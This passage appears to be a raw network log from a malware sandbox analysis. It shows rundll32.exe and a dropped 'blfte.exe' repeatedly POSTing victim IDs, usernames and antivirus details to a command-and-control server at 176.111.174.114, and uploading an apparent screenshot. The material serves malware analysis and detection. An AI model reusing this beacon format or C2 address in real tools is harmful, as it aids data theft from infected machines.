02 05 04 04 03 04 06 05 06 06 06 05 06 06 06 07 09 08 06 07 09 07 06 06 08 0b 08 09 0a 0a 0a 0a 0a 06 08 0b 0c 0b 0a 0c 09 0a 0a 0a ff db 00 43 01 02 02 02 02 02 02 05 03 03 05 0a 07 06 07 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a ff c0 00 11 08 04 00 05 00 03 01 22 00 02 11 01 03 11 01 ff c4 00 1f 00 00 01 05 01 01 01 01 01 01 00 00 00 00 00 00 00 00 01 02 03 04 05 06 07 08 09 0a 0b ff c4 00 b5 10 00 02 01 03 03 02 04 03 05 05 04 04 00 00 01 7d 01 02 03 00 04 11 05 12 21 31 41 06 13 51 61 07 22 71 14 32 81 91 a1 08 23 42 b1 c1 15 52 d1 f0 24 33 62 72 82 09 0a 16 17 18 19 1a 25 26 27 28 29 2a 34 35 36 37 38 39 3a 43 44 45 46 47 48 49 4a 53 54 55 56 57 58 59 5a 63 64 65 66 67 68 69 6a 73 74 75 76 77 78 79 7a 83 84 85 86 87 88 89 8a 92 93 94 95 96 97 98 99 9a a2 a3 a4 a5 a6 a7 a8 a9 aa b2 b3 b4 b5 b6 b7 b8 b9 ba c2 c3 c4 c5 c6 c7 c8 c9 ca d2 d3 d4 d5 d6 d7 d8 d9 da e1 e2 e3 e4 e5 e6 e7 e8 e9 ea f1 f2 f3 f4 f5 f6 f7 f8 f9 fa ff c4 00 1f 01 00 03 01 01 01 01 01 01 01 01 01 00 00 00 00 00 00 01 02 03 04 05 06 07 08 09 0a 0b ff c4 00 b5 11 00 02 01 02 04 04 03 04 07 05 04 04 00 01 02 77 00 01 02 03 11 04 05 21 31 06 12 41 51 07 61 71 13 22 32 81 08 14 42 91 a1 b1 c1 09 23 33 52 f0 15 62 72 d1 0a 16 24 34 e1 25 f1 17 18 19 1a 26 27 28 29 2a 35 36 37 38 39 3a 43 44 45 46 47 48 49 4a 53 54 55 56 57 58 59 5a 63 64 65 66 67 68 69 6a 73 74 75 76 77 78 79 7a 82 83 84 85 86 87 88 89 8a 92 93 94 95 96 97 98 99 9a a2 a3 a4 a5 a6 a7 a8 a9 aa b2 b3 b4 b5 b6 b7 b8 b9 ba c2 c3 c4 c5 c6 c7 c8 c9 ca d2 d3 d4 d5 d6 d7 d8 d9 da e2 e3 e4 e5 e6 e7 e8 e9 ea f2 f3 f4 f5 f6 f7 f8 f9 fa ff da 00 0c 03 01 00 02 11 03 11 00 3f 00 fc 50 8a 2f 2e 9f 52 fd 8f 77 5c d2 ec 35 fa 5c 69 9f 07 ce 47 1f 7a 75 7b 17 c1 af d8 53 f6 86 f8 d3 e1 3b 2f 89 1a 56 81 65 a2 f8 4f 50 9e 48 ad 3c 51 e2 2b f5 b7 b5 99 a3 72 92 18 91 43 4f 70 15 c1 56 30 c5 26 d2 08 38 22 bd df e1 ff 00 fc 13 93 e0 87 85 f6 5d 7c 4a f1 de b3 e2 bb c5 5c b5 9e 91 12 e9 b6 28 e0 f4 f3 1c 49 35 c4 67 d9 6d 9f e9 58 d5 c4 e1 e9 68 e5 af 91 ac 28 56 a8 ae 96 87 c5 29 f7 6a c2 7d da fd 19 bd fd 87 ff 00 63 8f 1a 78 7f ec 6f f0 5a 7f 0f c8 cd 95 d4 7c 2f e2 7b e5 b8 07 8c 03 f6 e9 2e a2 2b ea 3c b0 c7 b3 0a f2 1f 88 7f f0 49 df 12 c4 b2 5d fc 0b f8 c9 a4 eb a0 6e 31 e8 fe 27 87 fb 22 f1 cf 50 89 29 79 2d 58 01 c6 f9 26 87 24 7d d1 9e 2a 9e 3f 0f 3d f4 f5 26 b6 0e bc 76 57 f4 3e 45 a4 55 c6 45 76 df 16 7f 67 5f 8e 7f 01 ee a3 8b e2 ef c2 bd 6b 42 8a 79 0a 59 df de 59 37 d8 ef 08 19 fd c5 ca e6 19 c6 3b c6 ec 38 3c f1 5c 5b 6f ef 5d d1 94 65 0b a7 73 85 a9 45 d9 90 c7 1b d0 fd 3f 1a 96 9a f8 ee 29 72 15 cd 76 57 93 b5 44 e3 9f ad 4b 27 6a 6e dd dc 62 b1 94 4d e3 b9 4e 44 3e b5 1d 7e c7 f8 9b fe 0d 34 d5 7c 37 75 f6 7b ff 00 db 9f 74 2e d8 86 e5 3e 18 65 5f ff 00 2a 7c 1f 6f e6 39 aa d6 bf f0 6a 22 dc f5 fd bd f6 ff 00 dd 2d cf fe e5 2b f3 2a de 2b f0 05 29 b8 4f 19 66 bf e9 dd 6f fe 56 7d 64 38 4b 88 a5 1e 65 43 4f f1 43 ff 00 92 3f 1e a3 eb f8 54 be 53 fa 57 ec 8d b7 fc 1a 4e 2e 17 1f f0 f0 1d bc ff 00 d1 29 cf fe e5 6b f2 8b f6 87 f8 44 df b3 ff 00 ed 09 e3 df 80 8f af 8d 58 f8 27 c6 5a a6 80 75 51 6b e4 0b c3 67 77 2d bf 9d e5 ee 6f 2f 7f 97 bb 6e e6 db 9c 64 e3 35 ef 70 ff 00 19 70 df 13 d5 9d 3c b2 bf b4 94 12 6f dd 9c 6c 9e 9f 6a 31 fc 0f 3b 31 c9 73 3c ae 2a 58 aa 7c a9 e8 b5 8b fc 9b 38 a7 39 38 a1 36 7f 1d 39 d1 b3 9a 65 7d 49 e5 0e 65 fe e5 21 56 5e a2 92 9d bc d0 1b 11 f9 7e f4 2a f7 34 f7 eb 5f af bf f0 6e 6f fc 12 17 f6 1d ff 00 82 90 7e cd Data Ascii: --152138533219.jpgContent-Disposition: form-data; name="data"; filename="152138533219.jpg"Content-Type: application/octet-streamJFIFCC"}!1AQa"q2#BR$3br%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyzw!1AQaq"2B#3Rbr$4%&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz?P/.Rw\5\iGzu{S;/VeOPH<Q+rCOpV0&8"]\|J\(I5gmXh(V)j}cxoZ\|/{.+<I]n1'"P)y-X&$}?=&vW>EUEvg_kByYY7;8<\[o]esE?)rvWDK'jnbMND>~4\|7u{t.>e_\|o9j"-++)OfoV}d8KeCOC?TSWN.)kDX'ZuQkgw-o/nd5pp<olj1;1s<X\|89869e}Ie!V^~4_no~>K-[R9t/w6_gcmA~r 9qXxJ^w<MNH~@C5\|\>;$62>x}<uw5oa?_r3#~?/Oz_W<Cu3V2m yXZW_x[[B$)! zLml[aj3\snV&L3y{NijJ@\|RKE6M%tTQO0hR(()`sKNm;Q!T_\iFE7UrNz6zQQ9 GN&XCTn3iKi}jDB{EP@QEQEP7J2Iw) ($ruNm"a:;bON6(sbUW3N.KKzuPN?N)6(~4'O\|:ED'g#X_I'jN5ET%6N-)<)R>fQEQS OWEfaE/~4QErk>MD\FEC'jmML{h,Q@I<O/4EvEQEih-G@%SR>>1Q@Q@()$J:NPfSloPtZ>a:TNw_-Y&3D8e]KJR~w?47aH'%ozF}KOp$a}#N&\|_7eV94kH`=A!G>6`IJWIVI'Y+98J4UscSLftN5?-Nr~b=m=SY q^Cd-6m#!dk0#=^wb)bBkip.7M(5t_~#[Z<"C/]7rXg5?_Q- xXg561F?W'UW/'c?>3zl+GUGYsh/m&N$A(4rO'Hrv?zd=[5.#7{EL'wsWeGkd+UsxN5.3[CO<n}h<OJ?2"OQ_2+/p1?[uCl~?QWTzY_g?j\|Ef#^-CQ&C.e8`?)Lo.mqx_$f\|(6,>hlfPAbf7/Q_}:}N,D&02Kf0YXI#zv[M<&>JZI4Yo:;O+oY6]X.YU7(.+6N5iSI\|Y--wm.rFk$O\|Z>\|IE"$mm{<T@ ~'<+QjnS~m\|::S,S$?7%~{QEOMe)HzV]M:ecGZJ(:+>@"\|'z{BG+0y~eJ?;}UF>}Ei"~KQR<\|~rseT(4%QPMiUK`!jjdGOOGR0(3(%QLQE((N:t}SN$ I:~4:~4NZu^aRq"AFTg{4l5+.eW(<N#!SN:E)L~=c(A~Xm(VJ_DTQEbhC'jm=~4Vm6NGE=<n(MW)\R&oTQtTTGE:N)N(((nUsj%1%(gwSOm@R8'-.FJuJRB'jGEZwOYE)'- ($BsRlQr'~4/TI\))SRN]J}TPqs3"AZxWW;#?gkk4rDV`+`%gO5\|xzw-STcPT4D9=q_\|.[x+rVTa GAZB\|-jj]iYBgTe"jB3VvSMm]Ofx>7mk&rm@(Io~#x"{8@xDDz\|\|\|W#rC8LUdJ-{evd>3(akVu6wd]$.:oF96Q3GdRJ?GO>y5Sy}GCw_A,_{R]MzeBFm5 f7Q>+Df'@wsCL::}+K.PW/#kg,NI>yCUw7v?a`zI_^z>&9GQ(]4'q9)>=3N~[.X>Q[&5E?gW&\|4nwg5BgeQ9Oor?Qo)\|^Rr8m7^Oj59+%(l_bSMqR<{8Cr9;TFeI3YJ&+WrbgUH6t'pHW+z3<}EZ]/9ch(vV,1"bBcN{g]^_6xic,>I??s!=$L5U_?jPi\|}SZ]XxU1k=woug?duxJ^ZlC2,t<e^pf$'.i:9?X:[vF+NY]D5~IKWO_MIo4mn~&u1<.gnix,WibS{<vNvyQ@GM3czT;P2?//Oz<z\|z8iDRQLoQ~5wq#':~v($tF-vV1!Ry~73ul4KLzmNfcN~)_#Ry($(QN_w>#KXhx/e%7}HDAZ6j"&9QE;co3.$-PD'Zu6>:>DNdMH?ZD)=V]K8O\|P?yA};!\|/)\heIR5~S>qQ4DO&NvXH;vYs2:MRl(2 OeI6'j'j$=HiEH)vDi67>P#'j0E<C.y.9'O(%GRhQEQEfEPQ`(S_:czRQ@)(t}S@Q@S-QEaEPEPEP$F'?ZOoCNu^4<sW[,r["jn_i+sm?Iu3{Fo>qo~\|Zy#z/>/rB) e8j,k.t/pY=gWa0xqJXsP!!mMi$OQO\|[/~;RxBd hc ,UX)<Vd}Z}>[Y'%YrTdyB#]tw}s1o}lC/Wuwe;VAniduOD;\|\|w_+)W[[I-i\[B\ocUK~Ow0uM";g\GHBMpk_b+M_WxlL{gZiwjp?5\|.O\|i]RkM"Y^Orwocv9am_-/?OvuK;&k"D{=ZY#$D5guCOO\|@\|7i/x]Ns.e.a-kwlzF?e^XRUEg+Wgm.v.r;n6M65{KC8<T4GG^/DXL7f!J8V_NNk;oOCz> &i4GDSM=5+iEz>n<w7^Cz&mm=,Ztiu!H"BFq4"VNm&PsItWi7k]5!Nh-7J}ugSTkbb<AJ\|5?t.O#mZ5s\|x@<]jZFZ.tmfE7(i,;VaS^^j\E998KWi-Y4OJ~?O?-[^}O^sx/nQCZX8ci{ElW9h>?gTsztf4dD 6.$6O4qM\d1Gd~3_(yCCMkr~1gjmr}+T&KY&D$nW="aU-'Om['NWKhnV0UIV"jSwJqnre?[J(i/z'Gu;gW'dF1,X 1Q~ gG}#Qa;X\Yyk$HE .ln>~\|js!\|3>}s7766$phTqZUm/VwaJQN/W\|C{i\|>x3kKxW C[8FicGRTl;4ow.\|9y[T]x%#G4t#XL<1d%yp$&vJM=ehE^KW'[FI-L/Tr?cO=_7/K=:Mh?e$VO"O=[KN/c?z!h&t2v#?7\|=-/:\|C=T4-Y-Qsa%4m:mipsi4woV,\yn-Ki+H(P}?J%Ly)R:V\|9Q%+.\|av_::3_Iz9CE}(\#Rq2y~p}NVIiipC2PiRNH>VTITgPW?r}z!}ZH>BcS@H\|P.d@Dh+n1GZQ#.Z-.IwzwGO_!yjH0BNyQEQNJPOkMI\|QJOO'Z}hQW2TRL:ruR?O~ wYS:X-<6AiKEwhHeSY<\dUV$vQ:#!rIZ6l+co%IHT2&sOi_StT?(S\|~@E{G%MloJBV<9s);SjT}_iN'ju5kq;S,R23BrsMhy~QEfEP?TaRR2@e"ENloJ67K5%GOoiy5W<}QEaEPEPEPEPEPV+Q3UL}x3-JE;op\EEm], I,WdVg4.0b_X7gM\-ZZ[G%Kk]?GjOfHw:a\|0{EY6ow.gu"[F#jP^O~Wvho?'\_\-KBT+SOD$$9$h c<K%k{7zidg17.d_eJn'')4NeiRro&kD6}o=\|}~?\x{#mL}6<WikcFPv>\|BLM{O}RUKv6Z$R(E>0B-TQA+\|EN\|vZi{eliU)%h+~~/^_x$k}>[u}2s[xQ3Uuwm\|xOWa >WU.":nbT(eJrbSQM!\|+"{FKm_i]'$OBQiSu?m$5/4dKqk4S^xNI\|S,)7Y^pAgTUT0E{X_R]]vK.$yeQWJw>IkH~(6/7FX\[v-gxyA6G5X[mmo%x^-o]2-=r7"IcL^(#.0&~>P-5[TuxBqRo({Oy]m}},~_W\|<1k<_j_&/-<{>6xNm'L5$2D&{Hgd(fHxj\|]\|ix::~iuEe$xW72JF0yK)@y1!o0wl_%K^e5nk7>_yY}6Uox3S~xh^h::ZJIn%G9kl/^3Z~z~i?fxBj_-5TuAi&FsyrmKX=M7c!;s6+LR,q AYQ=JP].=~~\Y"&nwN?i7[[?j/5u/n4OQmJ[ukxG!6%>kM+a?hZAWKh]EwG#3!FZ9>E6H!8+\|CN;{5h%(M/4w\|$qvY4_+@t39u]<V(R@@l\|Dww-G@CMk;mBZG1q2(TUB+!%#Vx5nfc~?c%\|s_\|H}IttN+R2Ibm'h^bva$4j-7>\B(lTGup;rY8!\|_B#s^NyQy;koK{>hy{Ev#2kCS3OjR,O@>5frZ Zpm0 jdOWxW:Pf4Hdn h"Vb[dn4tCPMi6I4>Vju#vTu4[k_Q~W/$gaKU2~v\|7ogB=[g\|)5.}G\h=kmMH4["8zbc5V":7zk'%guS}W^6nzu^};%u[^?Xj)M5g/m%+s<K!^'"`tOF'r-wd2Z
Apr 28, 2021 23:23:35.633932114 CEST	9314	OUT	Data Raw: 93 b5 68 02 27 de a7 d1 1f 41 f5 a9 28 26 5b 8d 8f bd 3a 8a 2b 42 48 e8 a9 28 a0 08 e9 53 ef 53 e9 7f 87 ee 2d 00 31 a3 e3 ee 51 b0 d3 a9 53 ef 55 72 b1 73 09 45 22 b6 78 35 a9 e0 9b 1b 1d 57 c6 da 36 93 a9 c1 e6 db 5d ea d6 d0 5c 47 b8 8d c8 f2 Data Ascii: h'A(&[:+BH(SS-1QSUrsE"x5W6]\G zs\aZ[E6vaGI*{^M%{&w2wRy~Z~M:\|>?1O>_._U7<;9QI=\|
Apr 28, 2021 23:23:35.633997917 CEST	9316	OUT	Data Raw: 22 bf 9f ff 00 1c 7c 6e f8 d1 f1 39 9d fe 25 7c 5d f1 47 88 5a 42 4c 87 5c d7 ee 6e cb 1c e7 27 cd 76 cf 3c d7 f4 1b e3 6d 0b c6 33 78 cb 57 96 d7 fe 09 a3 e1 2d 7a 26 d4 ee 0c 7a e5 ce bd a3 a4 9a 8a 99 1b 17 2e b2 42 5d 5a 41 f3 90 c4 b0 2d c9 Data Ascii: "\|n9%\|]GZBL\n'v<m3xW-z&z.B]ZA-\|opz4sln^_7{8lro{7}ZgfkrOL{Ye@0p.@xoc~Q_BCZkuqc=q=vg`mmO
Apr 28, 2021 23:23:35.634398937 CEST	9319	OUT	Data Raw: 50 d2 b4 db 58 fc 03 a3 3d 85 84 9a 7f 9b ba f1 9d 61 59 2e 26 de ec 0c 8c 20 4c ed 00 75 e2 bf 7b 7c 49 ff 00 0d d9 ff 00 09 15 ff 00 fc 22 1f f0 a9 7f b2 7e db 2f f6 5f f6 97 f6 a7 da 3e cf bc f9 7e 6e cf 97 cc d9 b7 76 de 33 9c 71 5f 1f c5 98 Data Ascii: PX=aY.& Lu{\|I"~/_>~nv3q_N/CF9[K%HLG*?PK&olOdHGj__wwOou}>]cjNq{B)<XbTX1j"o^_d_nfy[
Apr 28, 2021 23:23:35.634439945 CEST	9322	OUT	Data Raw: a7 dd cb 04 c9 f7 25 86 42 ac bc 63 82 39 1c 57 e8 df fc 10 d3 f6 8d ff 00 82 5e 78 43 4a f8 ab a5 7f c1 5a 7c 62 b2 c7 7d fd 88 3c 04 da ae 9d ad 5f 48 a1 7f b4 3e dd e5 c9 a7 46 ef 0f df b4 ce f2 bb b0 bb 73 b4 e3 f3 ec fc 30 f8 9a 3c 19 ff 00 Data Ascii: %Bc9W^xCJZ\|b}<_H>Fs0<7\|/"Kmck'[vFc ~PoY\|/]CPi&~EQ0]/CJ\'jN5}6~xjGY@_Isis9
Apr 28, 2021 23:23:35.634965897 CEST	9325	OUT	Data Raw: 38 ad 37 b5 dd ee ad e6 35 f4 97 fc 12 2f 48 7f 10 7e df 3e 1d f0 fa 78 4f 57 d7 be dd e0 8f 1b 5b 9d 0f c3 f2 6c bf d4 77 f8 53 56 5f b3 db 37 95 36 d9 a4 ce c4 3e 54 98 66 1f 23 fd d3 f3 70 91 65 45 91 3a 1e 45 43 79 65 6f 7d 17 95 72 99 5a f5 Data Ascii: 875/H~>xOW[lwSV_76>Tf#peE:ECyeo}rZt'V%WVFo~oe_,<om\|7[/Ge~[Qm#{kFh";vKc3H~x_\|Il<cu'A'MZ;o~p
Apr 28, 2021 23:23:35.635006905 CEST	9327	OUT	Data Raw: ee ab cd 1f a5 57 9a 3f ee 56 52 89 ac 64 41 4c 93 e6 3c d4 be 5f bd 37 cb f9 eb 29 44 d6 32 19 e5 9f ee d3 76 0f 7a 9f 61 a6 79 5e c6 97 2b 2b 98 81 ed f1 50 49 6f 57 7c bf 7a 3c bf 7a c6 51 2e 35 2c 65 fd 9b da 9b 5a 52 43 50 49 6f fe cd 4f b3 Data Ascii: W?VRdAL<_7)D2vzay^++PIoW\|z<zQ.5,eZRCPIoO7B+SoQs&:#/fc<zO+U!gZ9_Ll#q/4/Z`Li+D5R$~%;Y0g??bP5q0Ti#17<z](s
Apr 28, 2021 23:23:35.635312080 CEST	9330	OUT	Data Raw: 45 e1 5f 12 78 3f c4 17 fe 12 f1 6e 8f 79 a5 ea ba 5d e4 b6 9a 9e 99 a8 db 34 17 16 97 11 b9 49 21 96 37 01 a3 75 65 2a ca c0 10 41 04 02 2b 6a 35 e8 62 5b 54 a6 a5 6e ce e4 d5 a3 88 a0 93 a9 16 bd 51 47 f7 94 7e f1 aa 46 85 f1 fe 14 d1 1b 2f 53 Data Ascii: E_x?ny]4I!7ue*A+j5b[TnQG~F/Sf67,}q'($}}ijx,CrD,q,,8]RL\TQvb'mh>xO>EJYe5/gyu)FVpn>D;\W7C
Apr 28, 2021 23:23:35.635350943 CEST	9333	OUT	Data Raw: e4 96 77 58 b7 90 b7 98 b2 5a a2 9d a8 19 c6 58 7c c8 bd 4e 01 f9 8c 36 26 b6 12 b2 ab 49 d9 a3 da af 42 96 26 93 a7 51 5d 33 f9 13 d4 74 ed 43 48 d4 27 d2 75 6b 19 ad 6e ad 66 68 6e 6d ae 22 29 24 32 29 21 91 94 f2 ac 08 20 83 c8 22 a3 4e b5 ed Data Ascii: wXZX\|N6&IB&Q]3tCH'uknfhnm")$2)! "NSIoex~BF3}Rz?8N6R<Q0KEjav3q_cQ:#c]H03h+alh+5\|Q,YDI*3=k7E
Apr 28, 2021 23:23:35.635831118 CEST	9335	OUT	Data Raw: 5e 63 fb 46 ff 00 c1 03 fe 04 7c 58 f1 cd f7 8e fe 13 fc 48 d4 3c 12 75 19 9a 6b 9d 19 34 f4 bb b3 49 1b 96 31 02 c8 d1 29 3c ed cb 01 93 b7 68 c0 0e f8 1f ff 00 04 12 fd 99 fe 16 5f 37 8a fe 2c f8 cb 56 f1 dc f6 d1 33 c1 a6 dc 42 b6 76 3b 80 e0 Data Ascii: ^cF\|XH<uk4I1)<h_7,V3Bv;hY\/>}IV'~\|>k}{?Vr'ok5T_xXv\|N.qzkMfN>1.+5/Tm>Tf
Apr 28, 2021 23:23:35.635867119 CEST	9338	OUT	Data Raw: da 54 2f 0e 41 ce 06 3f 9d 2a ce 2e 0a 16 6a df d3 3e ff 00 34 c6 61 e7 81 8e 06 51 94 25 46 dc bc c9 a6 d3 8a e6 e6 5d 1d f5 8f 96 87 d5 7f f0 40 ad 57 c3 91 7c 6e d0 34 9b 9f db 5f c4 1a 1e a5 2f 88 f5 66 b7 f8 1d 6f a5 6a 2f a7 78 85 3f b1 db Data Ascii: T/A?*.j>4aQ%F]@W\|n4_/foj/x?7pD/9da5um?/WxJX<! 2<M$3H#"\|vV[xzmGOohGHM5{u!!u0mo>7@~>mW

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
461	192.168.2.5	49986	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:23:35.588324070 CEST	9311	OUT	POST /Hnq8vS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 176.111.174.114 Content-Length: 83 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 31 36 26 73 64 3d 36 62 33 63 38 36 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 32 38 31 30 30 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.16&sd=6b3c86&os=1&bi=1&ar=1&pc=928100&un=user&dm=&av=13&lv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
462	176.111.174.114	80	192.168.2.5	49986	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:23:35.688328028 CEST	9338	IN	HTTP/1.1 200 OK Date: Wed, 28 Apr 2021 21:23:35 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.4.16 X-Powered-By: PHP/5.4.16 Content-Length: 6 Content-Type: text/html; charset=UTF-8 Data Raw: 3c 63 3e 3c 64 3e Data Ascii: <c><d>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
463	192.168.2.5	49987	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:23:35.906589985 CEST	9484	OUT	POST /Hnq8vS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 176.111.174.114 Content-Length: 83 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 31 36 26 73 64 3d 36 62 33 63 38 36 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 32 38 31 30 30 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.16&sd=6b3c86&os=1&bi=1&ar=1&pc=928100&un=user&dm=&av=13&lv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
464	176.111.174.114	80	192.168.2.5	49985	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:23:35.930198908 CEST	9486	IN	HTTP/1.1 200 OK Date: Wed, 28 Apr 2021 21:23:35 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.4.16 X-Powered-By: PHP/5.4.16 Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
465	176.111.174.114	80	192.168.2.5	49987	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:23:36.009691954 CEST	9486	IN	HTTP/1.1 200 OK Date: Wed, 28 Apr 2021 21:23:35 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.4.16 X-Powered-By: PHP/5.4.16 Content-Length: 6 Content-Type: text/html; charset=UTF-8 Data Raw: 3c 63 3e 3c 64 3e Data Ascii: <c><d>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
466	192.168.2.5	49989	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:23:36.216875076 CEST	9487	OUT	POST /Hnq8vS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 176.111.174.114 Content-Length: 83 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 31 36 26 73 64 3d 36 62 33 63 38 36 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 32 38 31 30 30 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.16&sd=6b3c86&os=1&bi=1&ar=1&pc=928100&un=user&dm=&av=13&lv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
467	176.111.174.114	80	192.168.2.5	49989	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:23:36.316927910 CEST	9487	IN	HTTP/1.1 200 OK Date: Wed, 28 Apr 2021 21:23:36 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.4.16 X-Powered-By: PHP/5.4.16 Content-Length: 6 Content-Type: text/html; charset=UTF-8 Data Raw: 3c 63 3e 3c 64 3e Data Ascii: <c><d>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
468	192.168.2.5	49990	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:23:36.528860092 CEST	9488	OUT	POST /Hnq8vS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 176.111.174.114 Content-Length: 83 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 31 36 26 73 64 3d 36 62 33 63 38 36 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 32 38 31 30 30 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.16&sd=6b3c86&os=1&bi=1&ar=1&pc=928100&un=user&dm=&av=13&lv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
469	176.111.174.114	80	192.168.2.5	49990	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:23:36.632390022 CEST	9488	IN	HTTP/1.1 200 OK Date: Wed, 28 Apr 2021 21:23:36 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.4.16 X-Powered-By: PHP/5.4.16 Content-Length: 6 Content-Type: text/html; charset=UTF-8 Data Raw: 3c 63 3e 3c 64 3e Data Ascii: <c><d>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
47	176.111.174.114	80	192.168.2.5	49735	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:22:30.781018019 CEST	1587	IN	HTTP/1.1 200 OK Date: Wed, 28 Apr 2021 21:22:30 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.4.16 X-Powered-By: PHP/5.4.16 Content-Length: 6 Content-Type: text/html; charset=UTF-8 Data Raw: 3c 63 3e 3c 64 3e Data Ascii: <c><d>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
470	192.168.2.5	49991	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:23:36.839128017 CEST	9489	OUT	POST /Hnq8vS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 176.111.174.114 Content-Length: 83 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 31 36 26 73 64 3d 36 62 33 63 38 36 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 32 38 31 30 30 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.16&sd=6b3c86&os=1&bi=1&ar=1&pc=928100&un=user&dm=&av=13&lv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
471	176.111.174.114	80	192.168.2.5	49991	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:23:36.938488007 CEST	9489	IN	HTTP/1.1 200 OK Date: Wed, 28 Apr 2021 21:23:36 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.4.16 X-Powered-By: PHP/5.4.16 Content-Length: 6 Content-Type: text/html; charset=UTF-8 Data Raw: 3c 63 3e 3c 64 3e Data Ascii: <c><d>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
472	192.168.2.5	49992	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
